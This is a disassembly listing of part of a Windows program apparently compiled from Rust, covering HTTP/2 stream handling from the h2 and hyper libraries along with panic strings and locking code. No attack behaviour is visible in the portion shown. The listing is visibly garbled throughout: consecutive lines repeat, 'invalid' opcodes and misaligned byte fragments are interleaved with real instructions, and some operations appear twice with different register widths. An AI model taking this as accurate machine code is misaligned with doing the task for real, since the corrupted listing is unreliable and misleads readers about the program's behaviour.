pop r14
pop r15
ret
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.14010d200
lea rcx, str.internal_error:_entered_unreachable_code_rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_std_src_threadmod.rs
lea r8, [0x140140158]
add byte [rbp + rcx*4 + 5], cl
jb 0x1400a489c
or dword [rax], eax
mov edx, 0x28
call fcn.140108630
int3
int3
fdiv dword [rax]
add dword [rax], eax
add byte [rbx - 0x7d], al
cmp al, 0x1a
add cl, byte [rdi]
test byte [rbp + 0x4d000000], ah
add edx, ebx
invalid
fiadd dword [rcx + 0x39]
invalid
cmp dword [r10 + 0x114], eax
jne 0x1400a49e1
cmp byte [r10 + 0x121], 0
je 0x1400a495b
add rsp, 0x68
ret
mov byte [r10 + 0x121], 1
cmp dword [rcx], 0
je 0x1400a49c5
mov r11d, dword [rcx + 0xc]
mov r10d, dword [rcx + 0x10]
mov dword [rsp + 0x20], r11d
mov dword [rsp + 0x24], r10d
cmp qword [r9 + 0x10], r11
jbe 0x1400a4a34
mov r9, qword [r9 + 8]
imul r11, r11, 0x130
add byte [rbx - 0x7d], al
cmp al, 0x19
add cl, byte [rdi]
invalid
invalid
add byte [rax], al
invalid
add byte [rbx - 0x7d], al
cmp al, 0x19
add cl, byte [rdi]
test byte [rdx + 0x4d000000], bl
add ecx, ebx
add r9, r11
cmp dword [r9 + 0x114], r10d
cmp dword [rcx + 0x114], edx
jne 0x1400a4a34
mov dword [r9 + 0xb8], 1
mov dword [r9 + 0xbc], r8d
mov dword [r9 + 0xc0], eax
jmp 0x1400a49d2
mov dword [rcx], 1
mov dword [rcx + 4], r8d
add al, 0x89
invalid
invalid
add al, 0x89
or byte [r9 + rcx*4 + 0x41], al
mov dword [rcx + 0xc], r8d
add rcx, 0x10
or al, 0x48
add ecx, 0x10
mov dword [rcx], eax
add rsp, 0x68
invalid
invalid
invalid
ret
mov qword [rsp + 0x28], rdx
lea rax, [0x14001b1f0]
push 0xffffffff8948fff7
and al, 0x30
push 0xffffffff8948fff7
and al, 0x30
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
add byte [rax - 0x73], cl
adc eax, 0x84b8e
add byte [rax - 0x73], cl
adc eax, 0x84b8e
lea rcx, [rsp + 0x38]
call fcn.140108560
mov qword [rsp + 0x28], rdx
push rsp
and al, 0x28
lea rax, [0x14001b1f0]
mov qword [rsp + 0x30], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x38]
call fcn.140108560
int3
mov eax, dword [rcx + 0x28]
sub rax, rdx
jb 0x1400a4af3
mov r8, qword [rcx]
test r8, r8
je 0x1400a4ace
cmp r8d, 1
jne 0x1400a4ac2
add rdx, qword [rcx + 0x18]
jb 0x1400a4b0b
cmp rdx, qword [rcx + 0x10]
ja case.0x140065698.275
mov qword [rcx + 0x18], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
ret
mov qword [rsp + 0x28], rdx
mov r8, qword [rcx + 0x18]
mov r9, r8
sub r9, rdx
jb 0x1400a4b23
mov qword [rcx + 0x18], r9
add qword [rcx + 0x10], rdx
mov qword [rcx + 0x28], rax
add rsp, 0x88
add byte [rax], al
add bl, al
add byte [rax], al
add bl, al
lea rcx, [0x1401425e2]
lea r8, [0x140142608]
mov edx, 0x23
add byte [rax], al
add al, ch
invalid
cmp eax, dword [rsi]
invalid
add byte [rax], al
add al, ch
and eax, 0x4800063b
lea ecx, str.overflow
lea rcx, str.overflow
lea r8, [0x14014fbb8]
or al, byte [rax]
mov edx, 8
call fcn.140108990
mov qword [rsp + 0x30], r8
lea rax, [rsp + 0x28]
sub byte [rax - 0x77], cl
and al, 0x38
sub byte [rax - 0x77], cl
and al, 0x38
lea rax, [0x1400e9f80]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x50], rax
lea rax, str.cannot_advance_past__remaining_:___
scasd eax, dword [rdi]
or al, byte [rax]
scasd eax, dword [rdi]
or al, byte [rax]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 2
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x38]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 2
and al, 0x70
add al, byte [rax]
add byte [rax], al
and al, 0x70
add al, byte [rax]
add byte [rax], al
jo 0x1400a4b7d
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x9d5d3
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x58]
call fcn.140108560
lea rcx, str.assertion_failed:_pos___self.get_ref__.as_ref__.len__
lea r8, [0x14014fb98]
scasd eax, dword [rdi]
or al, byte [rax]
scasd eax, dword [rdi]
or al, byte [rax]
mov edx, 0x36
call fcn.140108630
int3
add byte [rax], al
add byte [rcx - 0x75], cl
add dword [rbp - 0x75], eax
mov r11d, dword [r9 + 8]
mov r10d, dword [r9 + 0xc]
mov dword [rsp + 0x40], r11d
mov r11d, dword [r9 + 8]
mov r10d, dword [r9 + 0xc]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x44], r10d
cmp qword [rax + 0x10], r11
jbe 0x1400a4ca1
mov rax, qword [rax + 8]
mov eax, dword [rax + 8]
or byte [rbp + 0x69], cl
invalid
imul r11, r11, 0x130
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + r11], 2
je 0x1400a4ca1
add byte [rax], al
add byte [rax], al
add rax, r11
cmp dword [rax + 0x114], r10d
nop
adc al, 1
add byte [rax], al
nop
adc al, 1
add byte [rax], al
jne 0x1400a4ca1
movzx r10d, byte [rax + 0x50]
add r10b, 0xfa
movzx r11d, r10b
cmp r11b, 6
mov r10d, 6
cmovb r10d, r11d
cmovb edx, ebx
cmovb edx, ebx
cmp r10b, 6
ja case.0x14006bf32.233
movzx r10d, r10b
mov r11d, 0x54
invalid
bt r11d, r10d
jae case.0x14006bf32.233
cmp qword [rax + 0x88], 0
je 0x1400a4c92
add edx, dword [rax + 0x80]
jno 0x1400a4c80
add byte [rax], 0
add byte [rcx + 0x41], dh
mov rax, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
and al, 0xb0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
mov edx, 3
mov r9, r8
mov ecx, eax
mov ecx, eax
rol dword [rcx - 0x50], 1
mov r8b, 1
mov al, 1
call fcn.14008b360
mov eax, 1
mov edx, 3
add eax, dword [rax]
add byte [rax], al
invalid
invalid
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax - 0x7f], cl
add rsp, 0x88
invalid
add byte [rax], al
ret
add rcx, 8
mov dword [rax + 0x80], edx
add byte [rcx + rcx*4 - 0x36], cl
add byte [rcx + rcx*4 - 0x36], cl
call fcn.140021220
mov es, ebp
idiv edi
xor eax, eax
mov edx, 3
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
invalid
invalid
add rsp, 0x88
ret
lea rax, [rsp + 0x44]
and al, 0x44
mov qword [rsp + 0x48], rax
lea rax, [0x14001b1f0]
lea rax, [0x14001b1f0]
mov qword [rsp + 0x50], rax
and al, 0x50
lea rax, str.dangling_store_key_for_stream_id
or byte [rax], al
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
and al, 0x60
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x78
and al, 0x78
mov qword [rsp + 0x78], 0
and al, 0x78
add byte [rax], al
add byte [rax], al
invalid
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x68], eax
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140108560
add ah, cl
add ah, cl
int3
sub rsp, 0x7b8
movaps xmmword [rsp + 0x7a0], xmm6
mov ah, 0x24
invalid
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x7a0], esi
mov ah, 0x24
invalid
invalid
add byte [rax], al
mov ah, 0x24
movabs al, byte [0xf41cd8949000007]
int 0x41
movzx eax, byte [rax]
mov r13, rcx
int 0x41
movzx eax, byte [rax]
movzx eax, byte [r8]
lea rcx, [0x140178928]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
jmp rax
invalid
loopne case.0x140088ba6.172
mov rax, qword [r8 + 0x28]
mov eax, dword [rax + 0x28]
mov qword [rsp + 0x550], rax
movdqu xmm0, xmmword [r8 + 8]
movq mm0, qword [r8 + 8]
test byte [rax + rdx*2], ah
add eax, 0x41f30000
movq mm0, qword [r8 + 8]
movq mm0, qword [r8 + 8]
or bl, sil
movq mm1, qword [r8 + 0x18]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x540], xmm1
movdqa xmmword [rsp + 0x530], xmm0
jg 0x1400a4cdb
and al, 0x30
add eax, 0x8b480000
jp 0x1400a4d80
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
cmpxchg byte [rdi], cl
jg 0x1400a4cdb
and al, 0x30
add eax, 0x8b480000
jp 0x1400a4d80
cmpxchg byte [rdi], cl
jne 0x1400a6ace
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6aef
test dword [rsi + 0x1d], ebp
add byte [rax], al
test dword [rsi + 0x1d], ebp
add byte [rax], al
sbb eax, 0x31450000
test byte [rdi], 0xb6
mov dh, 0x47
add dword [rax + rax*8 + 0x1d7d850f], eax
add byte [rax], al
xor r14d, r14d
movzx eax, byte [rdi + 1]
mov dh, 0x47
add dword [rax + rax*8 + 0x1d7d850f], eax
add byte [rax], al
movzx r15d, byte [rdx + 0x30]
mov rsi, qword [rdx + 0x28]
mov ebp, dword [rsp + 0x550]
lea rdx, [rdi + 0x1b8]
lea edx, [rdi + 0x1b8]
lea edx, [rdi + 0x1b8]
lea rbx, [rsp + 0x280]
mov rcx, rbx
mov r8d, ebp
call fcn.140026070
cmp qword [rsp + 0x280], 0
and al, 0x80
add al, byte [rax]
add byte [rax], al
pushfq
and al, 0x80
add al, byte [rax]
add byte [rax - 0x77], cl
fld dword [rcx - 0x77]
call 0x1381d04a1
dec dword [rax - 0x7d]
mov esp, 0x28024
and al, 0x80
add al, byte [rax]
and al, 0x80
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x60], r14d
je 0x1400a5df7
movdqu xmm0, xmmword [rsp + 0x280]
add byte [rax], al
movdqa xmmword [rsp + 0xc0], xmm0
add byte [rax], al
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
jne 0x1400a70be
shl byte [rdx], 1
add byte [rax], al
shl byte [rdx], 1
add byte [rax], al
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a70d9
xor r10d, r10d
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rsi
movzx eax, byte [rsi + 1]
test al, al
jne 0x1400a7a60
movaps xmm0, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x3c0], xmm0
sub dword [rsp + 0x3c0], eax
xor byte [0x169194e24], al
test byte [rax + rax*8], ah
sub dword [rsp + 0x3c0], eax
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x54], cl
mov r13, qword [rsp + 0x540]
movdqu xmm0, xmmword [rsp + 0x548]
movq mm0, qword [rsp + 0x548]
and al, 0x40
add eax, 0xff30000
movq mm0, qword [rsp + 0x548]
invalid
invalid
jg 0x1400a4dc3
invalid
movq mm0, qword [rsp + 0x548]
movdqu xmmword [rsp + 0x3d8], xmm0
mov r12, qword [rsp + 0xc0]
mov r15d, dword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add byte [rbx + 0xcc24b4], cl
add byte [rax], al
and al, 0xd8
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0xc0
add byte [rax], al
add byte [rbx + rcx*4 - 0x44], al
and al, 0xc8
add byte [rax], al
add byte [rbx + 0xcc24b4], cl
add byte [rax], al
mov dword [rsp + 0x650], r15d
mov dword [rsp + 0x654], esi
invalid
add byte [rcx + 0x65424b4], cl
add byte [rax], al
cmp qword [r12 + 0x10], r15
jbe 0x1400a794e
xchg cl, bl
sub al, byte [rax]
add byte [rax], al
xchg cl, bl
sub al, byte [rax]
add byte [rax], al
mov rax, qword [r12 + 8]
add byte [rax], al
mov rax, qword [r12 + 8]
mov eax, dword [rsp + 8]
imul rbp, r15, 0x130
cmp dword [rax + rbp], 2
sub byte [rdx], al
sub byte [rdx], al
je 0x1400a794e
add rax, rbp
cmp dword [rax + 0x114], esi
adc al, 1
add byte [rax], al
adc al, 1
add byte [rax], al
jne 0x1400a794e
test dword [rdx + rbp + 0x508b0000], esi
mov qword [rsp + 0x3d0], r13
mov edx, dword [rax + 0x48]
mov qword [rsp + 0x3d0], r13
test r13, 0xffffffff80000000
jne 0x1400a7aa1
sub eax, dword [rax]
invalid
sub eax, dword [rax]
add byte [rcx + rcx*4 - 0x44], al
add byte [rax], al
mov dword [rsp + 0x80], r15d
lea r11, [rsp + 0x84]
add byte [rax], al
invalid
and al, 0x80
add byte [rax], al
add byte [rbp + rcx*4 - 0x64], cl
and al, 0x84
add byte [rax], al
add byte [rcx + 0x8424b4], cl
add byte [rax], al
mov dword [rsp + 0x84], esi
add byte [rax], al
mov rax, qword [r12 + 0x10]
cmp rax, r15
jbe 0x1400a78e0
or dword [rdx], ebp
add byte [rax], al
add byte [rax], al
mov rcx, qword [r12 + 8]
cmp dword [rcx + rbp], 2
je 0x1400a78e0
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 1], cl
jmp 0x1411f0026
invalid
add rcx, rbp
cmp dword [rcx + 0x114], esi
add dword [rax], eax
add byte [rdi], cl
test ebx, ebp
sub dword [rax], eax
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0xd8], edx
lea rdx, [rdi + 8]
mov qword [rsp + 0x68], rdx
and al, 0x68
and al, 0x68
movzx edx, byte [rcx + 0x50]
cmp dl, 5
mov dword [rsp + 0x70], r10d
and al, 0x70
and al, 0x70
ja 0x1400a5d83
insb byte [rdi], dx
invalid
lea r8d, [rdx - 3]
cmp r8b, 3
movzx r9d, r8b
movzx ecx, al
movzx ecx, al
mov dh, 0xc8
mov r8d, 1
add byte [rax], al
cmovb r8d, r9d
test r8b, r8b
je 0x1400a5d83
movzx r8d, r8b
cmp r8d, 1
jne 0x1400a4f4f
cmp dl, 1
ja 0x1400a4f4f
cli
add dword [rdi + 0xa], esi
cmp byte [rcx + 0x51], 2
jae 0x1400a5d83
mov eax, dword [rdi + 0xb0]
xchg dword [rax + 0x45000000], esi
xor esi, esi
xor r14d, r14d
test eax, eax
mov ecx, 0
cmovg ecx, eax
mov bl, 1
enter 0x1b3, 0xffffffffffffffc7
mov dword [rsp + 0x58], 3
and al, 0x58
add eax, dword [rax]
add byte [rax], al
lea rdx, [0x1401167f0]
mov qword [rsp + 0x40], rdx
push rsp
and al, 0x40
jge case.0x140099c8c.42
invalid
push rsp
and al, 0x40
cmp ecx, r13d
jb 0x1400a653a
add byte [rax], al
test r13d, r13d
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a4fb0
sub eax, r13d
jl 0x1400a7b30
call 0x16ba1dba6
add byte [rax], al
mov dword [rdi + 0xb0], eax
add byte [rax], al
mov eax, dword [rdi + 0xb4]
sub eax, r13d
sub eax, ebp
sub eax, ebp
jo 0x1400a4fc3
mov dword [rdi + 0xb4], eax
xchg dword [rax + rax - 0x78750000], esi
mov ah, 0
add byte [rax], al
add byte [rbx + 0xb487], cl
add byte [rcx + rax - 0x18], al
mov eax, dword [rdi + 0xb4]
add eax, r13d
mov bl, 3
jo 0x1400a4fc3
invalid
add esi, dword [rax + 6]
mov dword [rdi + 0xb4], eax
xor r14d, r14d
jmp 0x1400a6544
invalid
add bl, dh
movq mm0, qword [r8 + 4]
invalid
invalid
movdqu xmm0, xmmword [r8 + 4]
movdqu xmm1, xmmword [r8 + 0x14]
movdqu xmm2, xmmword [r8 + 0x24]
outsd dx, dword [rsi]
push rax
and al, 0xf3
movq mm3, qword [r8 + 0x30]
pop rax
invalid
outsd dx, dword [rsi]
push rax
and al, 0xf3
movq mm3, qword [r8 + 0x30]
pop rax
invalid
pop rax
xor bl, dh
movq qword [r13 + 0x30], mm3
invalid
movdqu xmmword [r13 + 0x30], xmm3
xor bl, dh
movq qword [r13 + 0x24], mm2
movdqu xmmword [r13 + 0x24], xmm2
movdqu xmmword [r13 + 0x14], xmm1
movq qword [rbp + 0x14], mm1
adc al, 0xf3
movq qword [r13 + 4], mm0
invalid
movdqu xmmword [r13 + 4], xmm0
add al, 0x41
mov dword [rbp], 0
add byte [rax], al
mov dword [r13], 0
add byte [rax], al
jmp 0x1400a705e
add byte [rax - 0x7d], cl
ret 0x4820
add rdx, 0x20
mov rcx, rdx
mov ecx, edx
mov ecx, edx
xor edx, edx
call fcn.140098bb0
inc dword [rax + rax*8 + 0x29f1850f]
add byte [rax], al
inc dword [rax + rax*8 + 0x29f1850f]
add byte [rax], al
int1
sub dword [rax], eax
add byte [rax - 0x48], cl
add byte [rax], al
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
movabs rax, 0x300000000
jmp 0x1400a705a
and byte [rax], al
add byte [rcx - 0x7d], cl
add r8, 8
invalid
add r8, 8
lea rcx, [rsp + 0x650]
lea ecx, [rsp + 0x650]
lea ecx, [rsp + 0x650]
mov rsi, rdx
mov rdx, r8
mov r8d, 0x120
call fcn.140106530
mov rdx, rsi
mov rdi, qword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
cmpxchg byte [rdi], cl
jne case.0x14001a3ad.2531
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a69e9
test dword [rdi + 0x19], esi
add byte [rax], al
xor ebx, ebx
mov qword [rsp + 0x48], r13
and al, 0x48
and al, 0x48
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6a07
mov dh, 0x47
add dword [rax + rax*8 + 0x1982850f], eax
add byte [rax], al
mov r13d, dword [rsp + 0x768]
cmp r13d, dword [rdi + 0x100]
jbe 0x1400a5670
invalid
invalid
add dh, al
test byte [rax + rbp*8], ah
add byte [rax], al
add byte [rbx], al
mov byte [rsp + 0xe8], 3
mov r13, qword [rsp + 0x48]
lea rcx, [rsp + 0x650]
and al, 0x50
invalid
add byte [rax], al
call fcn.140087660
jmp 0x1400a6f92
and al, 0x50
invalid
add r8, 8
add eax, 8
lea rcx, [rsp + 0x280]
mov rsi, rdx
mov rdx, r8
ret 0xb841
and byte [rcx], al
add dword [rax], eax
invalid
add byte [rdx], 0
add byte [rax - 0x77], cl
invalid
ret 0xb841
mov eax, 0x120
add dword [rax], eax
add al, ch
pop rdx
adc al, 6
add byte [rax - 0x77], cl
mov rdi, qword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
call fcn.140106530
mov rdx, rsi
mov rdi, qword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
mov edi, dword [rsi + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6a22
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6a40
xor ebx, ebx
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6a59
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x250], rax
mov ebp, dword [rsp + 0x390]
and al, 0x90
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x5c], al
and al, 0x94
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x49], cl
mov eax, 0x48000001
lea esi, [rsp + 0x650]
and al, 0x90
add eax, dword [rax]
add byte [rbx + rcx*4 - 0x5c], al
and al, 0x94
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x49], cl
mov eax, 0x48000001
lea esi, [rsp + 0x650]
mov rcx, rsi
mov rdx, r14
mov edx, esi
mov r8d, ebp
call fcn.140026070
mov rax, qword [rsp + 0x650]
add byte [rax], al
add byte [rax], al
test rax, rax
mov qword [rsp + 0x48], r13
and al, 0x48
and al, 0x48
mov dword [rsp + 0x60], ebx
je 0x1400a6227
adc byte [rax], al
invalid
adc byte [rax], al
add byte [rbx], bh
cmp ebp, dword [rdi + 0x100]
cmp ebp, dword [rdi + 0x100]
jbe 0x1400a5fb0
mov r13b, 3
mov ch, 3
jmp case.0x14006bdd6.247
mov ebx, dword [r8 + 4]
mov r12d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6a74
invalid
add byte [rax - 0x75], cl
add eax, 0xdd175
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a6a95
xor esi, esi
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6ab2
sbb dword [rax], eax
invalid
sbb dword [rax], eax
add byte [rbx + rcx*4 + 0x72], cl
sub byte [rcx - 0xf3fceff], dh
cmpxchg byte [r14], cl
add byte [rax], al
mov r14, qword [rdx + 0x28]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a6bfb
test dword [rbx], edi
sbb al, byte [rax]
add byte [rax - 0x75], cl
mov rax, qword [0x140182308]
add eax, 0xdd141
shl rax, 1
test rax, rax
jne 0x1400a6c16
sbb al, byte [rax]
invalid
sbb al, byte [rax]
add byte [rcx], dh
ror byte [rcx + rcx*4 + 0x6c], 0x24
movzx ecx, byte [r14 + 1]
xor eax, eax
mov qword [rsp + 0x48], r13
movzx ecx, byte [r14 + 1]
test cl, cl
jne 0x1400a6c2f
test dword [rax + 0x1a], ecx
add byte [rax], al
test dword [rax + 0x1a], ecx
add byte [rax], al
lea r15, [rdi + 8]
lea r13, [rdi + 0x1b8]
test ebx, ebx
mov dword [rsp + 0x60], esi
invalid
je 0x1400a5e41
mov ebp, eax
lea rcx, [rsp + 0x4e0]
mov rdx, r13
invalid
mov r8d, ebx
call fcn.140026070
cmp qword [rsp + 0x4e0], 0
add byte [rdi], cl
test byte [rcx + 0x11], al
add byte [rax], al
invalid
add byte [rdi], cl
test byte [rcx + 0x11], al
add byte [rax], al
lea r8, [r14 + 8]
lea rcx, [rdi + 0x108]
add byte [rax], al
add byte [rax], al
lea rax, [rdi + 0x1a8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
jl 0x1400a5261
and byte [rbp + rcx*4 - 0x74], cl
and al, 0xe0
add al, 0
add byte [rcx + rcx*4 - 0x1e], al
jl 0x1400a5261
and byte [rbp + rcx*4 - 0x74], cl
and al, 0xe0
add al, 0
add byte [rcx + rcx*4 - 0x1e], al
call fcn.1400a4bb0
mov eax, ebp
stc
invalid
test al, al
jne 0x1400a5267
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
test eax, eax
add byte [rax - 0x2f], cl
loopne 0x1400a52a7
test eax, eax
jne 0x1400a7276
xor eax, eax
xchg byte [r14], al
xchg byte [rsi], al
xchg byte [rsi], al
mov bl, 3
mov bpl, 1
cmp al, 2
mov r13, qword [rsp + 0x48]
jne 0x1400a5283
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x60], 0
jne 0x1400a529d
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a71e4
invalid
add byte [rax], al
invalid
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a52ae
mov rcx, rdi
stc
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov bl, ch
invalid
test bpl, bpl
jne case.0x1400a4d30.2
movaps xmm0, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x520], xmm0
add byte [rcx - 0x78], al
pop rbp
or byte [rcx - 0x3a], al
or dword [r9], r8d
add byte [rcx - 0x78], al
pop rbp
or byte [rcx - 0x3a], al
or dword [r9], r8d
mov dword [r13 + 0xc], esi
lea rax, [0x14013e948]
add eax, 0x9966d
add eax, 0x9966d
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0x520]
add byte [rax], al
movdqu xmmword [r13 + 0x20], xmm0
mov dword [r13], 1
jmp 0x1400a705e
invalid
add byte [rax - 0x75], cl
sbb byte [rax + 0xf000879], al
test dword [rdx], ebp
invalid
mov rcx, qword [rdx + 0x18]
cmp byte [rcx + 8], 0
jne 0x1400a7a3b
mov rax, qword [r8 + 2]
cmp byte [r8 + 1], 0
cmp byte [rax + 1], 0
cmp byte [rax + 1], 0
je 0x1400a5e0a
mov r9, rdx
movzx r8d, byte [rcx + 0x11]
adc dword [r8 - 0x75], ecx
push rcx
adc al, dh
adc dword [r10], eax
adc dword [r8 - 0x75], ecx
push rcx
adc al, dh
adc dword [r10], eax
cmp r8b, 2
je 0x1400a63f8
mov byte [rsp + 0x280], r8b
mov qword [rsp + 0x281], rdx
cmp rdx, rax
jne 0x1400a63dc
invalid
lea rcx, [rsp + 0x281]
mov qword [rsp + 0x3c0], rcx
add byte [rax - 0x47], cl
or edi, dword [rbx - 0x5e]
invalid
mov ebx, dword [rbx + 0x394854fe]
enter 0xffffffffffff850f, 0x43
invalid
invalid
add byte [rax], al
invalid
jno 0x1400a53a8
movdqa xmmword [rsp + 0x3c0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
invalid
jne 0x1400a7450
invalid
mov rax, qword [0x140182308]
shl rax, 1
loopne 0x1400a5400
test eax, eax
loopne 0x1400a5400
test eax, eax
jne 0x1400a746b
xor eax, eax
movzx ecx, byte [rsi + 1]
test cl, cl
jne 0x1400a747e
mov al, 0x20
add byte [rax], al
mov al, 0x20
add byte [rax], al
cmp dword [rsi + 0x100], edi
jb 0x1400a7b18
mov dword [rsi + 0x100], edi
test al, al
jne 0x1400a53f7
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x1400a7791
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x1400a5408
mov rcx, rsi
mov ecx, esi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp dword [rbx + 0x28], 0
je 0x1400a5417
cmp edi, dword [rbx + 0x2c]
ja 0x1400a7b60
mov dword [rbx + 0x28], 1
mov dword [rbx + 0x2c], edi
mov dword [rbx + 0x30], 0
xor byte [r8], al
add byte [rax], al
add byte [rax - 0x75], cl
add ecx, dword [rax - 0x7b]
invalid
je 0x1400a543f
lea rcx, [rbx + 0x18]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
lea rax, [0x14013e948]
mov qword [rbx], rax
mov qword [rbx + 8], 1
add byte [rax], al
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rax*8], ah
rol byte [rbx], 0
add bl, dh
movq qword [rbx + 0x10], mm0
add byte [rax], al
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rax*8], ah
rol byte [rbx], 0
rol byte [rbx], 0
add bl, dh
movq qword [rbx + 0x10], mm0
mov dword [rbx + 0x20], edi
mov dword [rbx + 0x24], 0
add byte [rax], al
add cl, ch
loop 0x1400a5487
add byte [rax], al
add byte [rax], al
add cl, ch
loop 0x1400a5487
add byte [rax], al
mov rax, qword [r8 + 0x28]
mov qword [rsp + 0x3e0], rax
movdqu xmm0, xmmword [r8 + 8]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x3d0], xmm1
movq qword [rsp + 0x3d0], mm1
movdqa xmmword [rsp + 0x3c0], xmm0
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6b29
jg 0x1400a54be
add byte [rax], al
jg 0x1400a54be
add byte [rax], al
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
ror byte [rdi], 0x85
lea edx, [rsi]
add byte [rax], al
ror byte [rdi], 0x85
lea edx, [rsi]
add byte [rax], al
xor ebp, ebp
in eax, dx
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a6b67
mov r14, qword [rdx + 0x28]
mov cl, 1
xor eax, eax
